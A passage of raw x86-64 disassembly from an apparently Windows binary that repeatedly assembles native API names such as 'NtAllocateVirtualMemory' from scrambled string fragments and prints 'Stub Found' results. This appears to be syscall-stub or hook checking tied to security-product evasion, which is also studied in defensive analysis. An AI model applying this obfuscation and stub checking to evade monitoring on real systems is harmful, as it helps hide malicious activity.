call fcn.1400ab5b0
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1b00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1b20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1b40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1baf]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x1bb0]
mov rcx, qword [rbp + 0x3480]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140006d46
lea rsi, [0x1402ba054]
jmp 0x140006d4d
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1ddf]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x1ddf]
lea rax, [rbp + 0x1db0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x1d90]
lea rdx, [rbp + 0x1db0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d90]
lea r8, [0x1402ba094]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x1402ba03a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x1402ba09a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x1402ba078]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x1402ba07a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x1bd0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1d90]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1db0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1ddf]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x1de0]
mov rcx, qword [rbp + 0x3478]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x1400070e1
lea rsi, [0x1402ba054]
jmp 0x1400070e8
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x206f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x206f]
lea rax, [rbp + 0x2040]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2020]
lea rdx, [rbp + 0x2040]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2020]
lea r8, [0x1402ba03a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1fe0]
lea rdx, [rbp + 0x2000]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x1402ba082]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x1402ba084]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x1402ba050]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x1402ba078]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x1402ba07a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x1e00]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2000]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2020]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2040]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x206f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x2070]
mov rcx, qword [rbp + 0x3470]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140007500
lea rsi, [0x1402ba054]
jmp 0x140007507
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x22df]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x22df]
lea rax, [rbp + 0x22b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2290]
lea rdx, [rbp + 0x22b0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2290]
lea r8, [0x1402ba09c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2270]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x1402ba076]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x1402ba080]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x1402ba078]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x1402ba07a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x2090]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2270]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2290]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x22df]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x22e0]
mov rcx, qword [rbp + 0x3468]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x1400078f3
lea rsi, [0x1402ba054]
jmp 0x1400078fa
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x254f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x254f]
lea rax, [rbp + 0x2520]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x1402ba088]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2480]
lea rdx, [rbp + 0x24a0]
lea r8, [0x1402ba076]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1402ba080]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x1402ba078]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x1402ba07a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x1402ba04a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x1402ba07c]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x254f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x2550]
mov rcx, qword [rbp + 0x3460]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140007ce6
lea rsi, [0x1402ba054]
jmp 0x140007ced
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x277f]
lea rax, [rbp + 0x2750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x1402ba09e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x1402ba03c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x1402ba042]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x1402ba052]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x1402ba07e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x1402ba080]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x1402ba04c]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x2570]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.140073560
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400aaa00
mov r9, qword [rbp + 0x3408]
mov r8, qword [rbp + 0x3428]
mov rdx, qword [rbp + 0x3400]
lea rax, [rbp + 0x2780]
mov rcx, qword [rbp + 0x3458]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x34e0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x33fc], eax
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400ab5b0
cmp dword [rbp + 0x33fc], 0
je 0x140008081
lea rsi, [0x1402ba054]
jmp 0x140008088
lea rsi, [0x1402ba059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.140030d30
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x294f]
mov rcx, rax
call fcn.140073530
lea rdx, [rbp + 0x294f]
lea rax, [rbp + 0x2920]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae90
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x1402ba08e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x1402ba09a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x1402ba088]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1402ba044]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1402ba040]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1402ba038]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1402ba048]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1402ba03e]
mov rcx, rax
call fcn.1400bba10
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x1402ba08a]
mov rcx, rax
call fcn.1400bba10
lea rdx, [rbp + 0x27a0]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400ab5b0
